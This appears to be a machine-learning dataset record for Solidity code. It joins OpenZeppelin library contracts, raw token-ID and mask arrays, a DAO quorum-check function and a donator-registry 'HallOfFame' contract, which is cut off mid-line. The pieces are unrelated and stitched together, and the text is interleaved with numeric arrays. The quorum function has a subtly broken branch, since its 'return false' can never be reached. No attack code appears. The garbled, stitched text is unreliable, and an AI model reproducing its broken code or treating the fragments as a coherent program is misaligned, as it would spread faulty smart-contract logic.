onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
2,508
[ 1, 8924, 1605, 1492, 8121, 279, 5337, 2006, 3325, 12860, 16, 1625, 1915, 353, 392, 2236, 261, 304, 3410, 13, 716, 848, 506, 17578, 12060, 2006, 358, 2923, 4186, 18, 2525, 805, 16, 326, 3410, 2236, 903, 506, 326, 1245, 716, 5993, 383, 1900, 326, 6835, 18, 1220, 848, 5137, 506, 3550, 598, 288, 13866, 5460, 12565, 5496, 1220, 1605, 353, 1399, 3059, 16334, 18, 2597, 903, 1221, 2319, 326, 9606, 1375, 3700, 5541, 9191, 1492, 848, 506, 6754, 358, 3433, 4186, 358, 13108, 3675, 999, 358, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 14223, 6914, 353, 1772, 288, 203, 565, 1758, 3238, 389, 8443, 31, 203, 203, 565, 871, 14223, 9646, 5310, 1429, 4193, 12, 2867, 8808, 2416, 5541, 16, 1758, 8808, 394, 5541, 1769, 203, 203, 203, 565, 3885, 1435, 288, 203, 3639, 389, 13866, 5460, 12565, 24899, 3576, 12021, 10663, 203, 565, 289, 203, 203, 565, 445, 3410, 1435, 1071, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 389, 8443, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 8443, 1435, 422, 389, 3576, 12021, 9334, 315, 5460, 429, 30, 4894, 353, 486, 326, 3410, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 1654, 8386, 5460, 12565, 1435, 1071, 5024, 1338, 5541, 288, 203, 3639, 389, 13866, 5460, 12565, 12, 2867, 12, 20, 10019, 203, 565, 289, 203, 203, 565, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 5024, 1338, 5541, 288, 203, 3639, 2583, 12, 2704, 5541, 480, 1758, 12, 20, 3631, 315, 5460, 429, 30, 394, 3410, 353, 326, 3634, 1758, 8863, 203, 3639, 389, 13866, 5460, 12565, 12, 2704, 5541, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 13866, 5460, 12565, 12, 2867, 394, 5541, 13, 2713, 5024, 288, 203, 3639, 1758, 1592, 5541, 273, 389, 8443, 31, 203, 3639, 389, 8443, 273, 394, 5541, 31, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 12, 1673, 5541, 16, 394, 5541, 1769, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/100/0x446F95ff2c6CE2278006632Cae4b877f552cDA08/sources/contracts/ERC20_Reputation.sol
* @dev Private: Checks if quorum is reached for a specific proposal @notice If its not reached the proposal will be marked as failed @param _proposalID: ID of the proposal/
function _isQuorumReached(uint _proposalID, uint _totalSupply) private view returns(bool) { uint _totalVotes = proposals[_proposalID].votesFor + proposals[_proposalID].votesAgainst; uint _participation = (_totalVotes * 100 / _totalSupply); if(_participation > quorum) { return true; return false; } }
14,269,519
[ 1, 6014, 30, 13074, 309, 31854, 353, 8675, 364, 279, 2923, 14708, 225, 971, 2097, 486, 8675, 326, 14708, 903, 506, 9350, 487, 2535, 225, 389, 685, 8016, 734, 30, 1599, 434, 326, 14708, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 291, 31488, 23646, 12, 11890, 389, 685, 8016, 734, 16, 2254, 389, 4963, 3088, 1283, 13, 3238, 1476, 1135, 12, 6430, 13, 288, 203, 3639, 2254, 389, 4963, 29637, 273, 450, 22536, 63, 67, 685, 8016, 734, 8009, 27800, 1290, 397, 450, 22536, 63, 67, 685, 8016, 734, 8009, 27800, 23530, 334, 31, 203, 3639, 2254, 389, 2680, 24629, 367, 273, 261, 67, 4963, 29637, 380, 2130, 342, 389, 4963, 3088, 1283, 1769, 203, 540, 203, 3639, 309, 24899, 2680, 24629, 367, 405, 31854, 13, 288, 203, 5411, 327, 638, 31, 203, 5411, 327, 629, 31, 203, 3639, 289, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "./libs/ListAsRingLib.sol"; import "./libs/EntityLib.sol"; import "./libs/AddressIndexLib.sol"; import "./libs/StringIndexLib.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; contract HallOfFame is Ownable { using EntityLib for EntityLib.Entities; using ListAsRingLib for ListAsRingLib.ListData; using AddressIndexLib for AddressIndexLib.Indexes; using StringIndexLib for StringIndexLib.Indexes; EntityLib.Entities private donators; StringIndexLib.Indexes private donatorIndexes; EntityLib.Entities private admins; AddressIndexLib.Indexes private adminIndexes; EntityLib.Entities private groups; StringIndexLib.Indexes private groupIndexes; mapping (uint => ListAsRingLib.ListData) private groupDonators; /** * @dev Check if a sender is admin */ modifier onlyAdmin() { uint id = adminIndexes.getId(msg.sender); require(id > 0, "You are not admin"); _; } /** * @dev Check if input array has valid size */ modifier validArraySize(uint[] memory _ids, uint _size) { require(_ids.length < _size, "array can't be that big"); _; } /** * @dev Event for adding a donator. * @param actor Who added donator (Indexed). * @param id donator id (Indexed). * @param externalId donator unique code. */ event DonatorAdded(address indexed actor, uint indexed id, string externalId); /** * @dev Event for editing donator. * @param actor Who added donator (Indexed). * @param id donator id (Indexed). */ event DonatorUpdated(address indexed actor, uint indexed id); /** * @dev Event for donator deleting. * @param actor Who deleted donator (Indexed). * @param id donator id (Indexed). */ event DonatorDeleted(address indexed actor, uint indexed id); /** * @dev Event for adding a admin. * @param actor Who added admin (Indexed). * @param id admin id (Indexed). * @param admin admin address. */ event AdminAdded(address indexed actor, uint indexed id, address admin); /** * @dev Event for editing admin. * @param actor Who added admin (Indexed). * @param id admin id (Indexed). */ event AdminUpdated(address indexed actor, uint indexed id); /** * @dev Event for admin deleting. * @param actor Who deleted admin (Indexed). * @param id admin id (Indexed). */ event AdminDeleted(address indexed actor, uint indexed id); /** * @dev Event for adding a group. * @param actor Who added group (Indexed). * @param id group id (Indexed). * @param groupCode group unique code. */ event GroupAdded(address indexed actor, uint indexed id, string groupCode); /** * @dev Event for editing group. * @param actor Who added group (Indexed). * @param id group id (Indexed). */ event GroupUpdated(address indexed actor, uint indexed id); /** * @dev Event for group deleting. * @param actor Who deleted group (Indexed). * @param id group id (Indexed). */ event GroupDeleted(address indexed actor, uint indexed id); /** * @dev Event for adding donator to groups. * @param actor actor (Indexed). * @param donatorId donator id (Indexed). * @param groupIds group ids. */ event DonatorAddedToGroups(address indexed actor, uint indexed donatorId, uint[] groupIds); /** * @dev Event for removed donator from groups. * @param actor actor (Indexed). * @param donatorId donator id (Indexed). * @param groupIds group ids. */ event DonatorRemovedFromGroups(address indexed actor, uint indexed donatorId, uint[] groupIds); /** * @dev Event for moving donator in a group. * @param actor actor (Indexed). * @param groupId group id (Indexed) * @param donatorId donator id (Indexed). * @param to donator new position after this id */ event DonatorMovedInGroup(address indexed actor, uint groupId, uint indexed donatorId, uint to); /** * @dev Link donator to groups. * @param _donatorId donator ids. * @param _removeIds group ids. * @param _addIds group ids. * //revert */ function linkToGroups( uint _donatorId, uint[] memory _removeIds, uint[] memory _addIds ) public validArraySize(_addIds, 50) validArraySize(_removeIds, 50) { uint removeLen = _removeIds.length; uint addLen = _addIds.length; for (uint i = 0; i < removeLen; i++) { require(groups.list.exists(_removeIds[i]), "Can't unassign from unexisting group"); groupDonators[_removeIds[i]].remove(_donatorId); } if (removeLen > 0) { emit DonatorRemovedFromGroups(msg.sender, _donatorId, _removeIds); } for (uint i = 0; i < addLen; i++) { require(groups.list.exists(_addIds[i]), "Can't assign to unexisting group"); groupDonators[_addIds[i]].add(_donatorId); } if (addLen > 0) { emit DonatorAddedToGroups(msg.sender, _donatorId, _addIds); } } /** * @dev Create a donator * @param _data donator info. * @param _externalId donator uniq code. * @return uint */ function addDonator( string memory _data, string memory _externalId ) public onlyAdmin returns(uint) { uint id = donators.add(_data); donatorIndexes.add(_externalId, id); emit DonatorAdded(msg.sender, id, _externalId); return id; } /** * @dev Create a donator and assign groups * @param _data donator info. * @param _externalId donator uniq code. * @param _linkGroupIds group ids to link. * @return uint */ function addDonatorAndLinkGroups( string calldata _data, string calldata _externalId, uint[] calldata _linkGroupIds ) external onlyAdmin returns(uint) { uint[] memory unlink = new uint[](0); uint id = addDonator(_data, _externalId); linkToGroups(id, unlink, _linkGroupIds); return id; } /** * @dev Update a donator * @param _id donator id. * @param _data donator info. * @param _externalId donator uniq code. * @return uint */ function updateDonator( uint _id, string memory _data, string memory _externalId ) public onlyAdmin returns(uint) { donators.update(_id, _data); uint id = donatorIndexes.getId(_externalId); if (id != _id) { donatorIndexes.update(_externalId, _id); } emit DonatorUpdated(msg.sender, _id); } /** * @dev Update donator and assign groups * @param _data donator info. * @param _externalId donator uniq code. * @param _unlinkGroupIds group ids to unlink. * @param _linkGroupIds group ids to link. * @return uint */ function updateDonatorAndLinkGroups( uint _id, string calldata _data, string calldata _externalId, uint[] calldata _unlinkGroupIds, uint[] calldata _linkGroupIds ) external onlyAdmin returns(uint) { updateDonator(_id, _data, _externalId); linkToGroups(_id, _unlinkGroupIds, _linkGroupIds); return _id; } /** * @dev Create a donator * @param _id donator id. * @return uint */ function removeDonator( uint _id ) external onlyAdmin returns(uint) { uint groupId = groups.list.getNextId(0); uint[] memory removeGroupIds = new uint[](1); uint[] memory emptyArray = new uint[](0); while (groupId > 0) { if (groupDonators[groupId].exists(_id)) { removeGroupIds[0] = groupId; linkToGroups(_id, removeGroupIds, emptyArray); } // require(!groupDonators[groupId].exists(_id), "Remove donator from all groups first"); groupId = groups.list.getNextId(groupId); } donators.remove(_id); donatorIndexes.remove(donatorIndexes.getIndex(_id)); emit DonatorDeleted(msg.sender, _id); } /** * @dev Get donator. * @param _id donator id. * @return uint, string * //revert */ function getDonator(uint _id) external view returns ( uint id, string memory data, uint version, string memory index ) { (id, data, version) = donators.get(_id); return (id, data, version, donatorIndexes.getIndex(_id)); } /** * @dev Get next donator. * @param _id donator id. * @return uint * //revert */ function nextDonator(uint _id) external view returns (uint) { return donators.list.getNextId(_id); } /** * @dev Check if donators exist. * @param _ids donator ids. * @return bool[] * //revert */ function areDonators(uint[] calldata _ids) external view returns (bool[] memory) { return donators.list.statuses(_ids); } /** * @dev Create a group * @param _data group info. * @param _code group uniq code. * @return uint */ function addGroup( string calldata _data, string calldata _code ) external onlyAdmin returns(uint) { uint id = groups.add(_data); groupIndexes.add(_code, id); emit GroupAdded(msg.sender, id, _code); } /** * @dev Update a group * @param _id group id. * @param _data group info. * @param _code group uniq code. * @return uint */ function updateGroup( uint _id, string calldata _data, string calldata _code ) external onlyAdmin returns(uint) { groups.update(_id, _data); uint id = groupIndexes.getId(_code); if (id != _id) { groupIndexes.update(_code, _id); } emit GroupUpdated(msg.sender, _id); } /** * @dev Create a group * @param _id group id. * @return uint */ function removeGroup( uint _id ) external onlyAdmin returns(uint) { require(groupDonators[_id].count == 0, "Can't delete non empty group"); groups.remove(_id); groupIndexes.remove(groupIndexes.getIndex(_id)); delete groupDonators[_id]; emit GroupDeleted(msg.sender, _id); } /** * @dev Get group. * @param _id group id. * @return uint, string, string * //revert */ function getGroup(uint _id) external view returns ( uint id, string memory data, uint version, string memory index ) { (id, data, version) = groups.get(_id); return (id, data, version, groupIndexes.getIndex(_id)); } /** * @dev Get next group. * @param _id group id. * @return uint * //revert */ function nextGroup(uint _id) external view returns (uint) { return groups.list.getNextId(_id); } /** * @dev Check if donators exist. * @param _ids donator ids. * @return bool[] * //revert */ function areGroups(uint[] calldata _ids) external view returns (bool[] memory) { return groups.list.statuses(_ids); } /** * @dev Check if donators exist. * @param _donatorId donator ids. * @param _ids group ids. * @return bool[] * //revert */ function areInGroups(uint _donatorId, uint[] calldata _ids) external validArraySize(_ids, 50) view returns (bool[] memory) { uint len = _ids.length; bool[] memory result = new bool[](len); for (uint i = 0; i < len; i++) { result[i] = groupDonators[_ids[i]].exists(_donatorId); } return result; } /** * @dev Get next donator in group. * @param _groupId group id. * @param _donatorId donator id. * @return uint * //revert */ function nextGroupDonator(uint _groupId, uint _donatorId) external view returns (uint) { return groupDonators[_groupId].getNextId(_donatorId); } /** * @dev Get banch of donators in group. Order dependent * @param _groupId group id. * @param _fromId donator id. * @param _count number of donators. * @return uint * //revert */ function getGroupDonators(uint _groupId, uint _fromId, uint _count) external view returns (uint[] memory) { require(_count <= 1000, "List can't be more than 1000"); require(_count > 0, "Count can't be 0"); require(groups.list.exists(_groupId), "group must exist"); uint[] memory result = new uint[](_count); uint id = 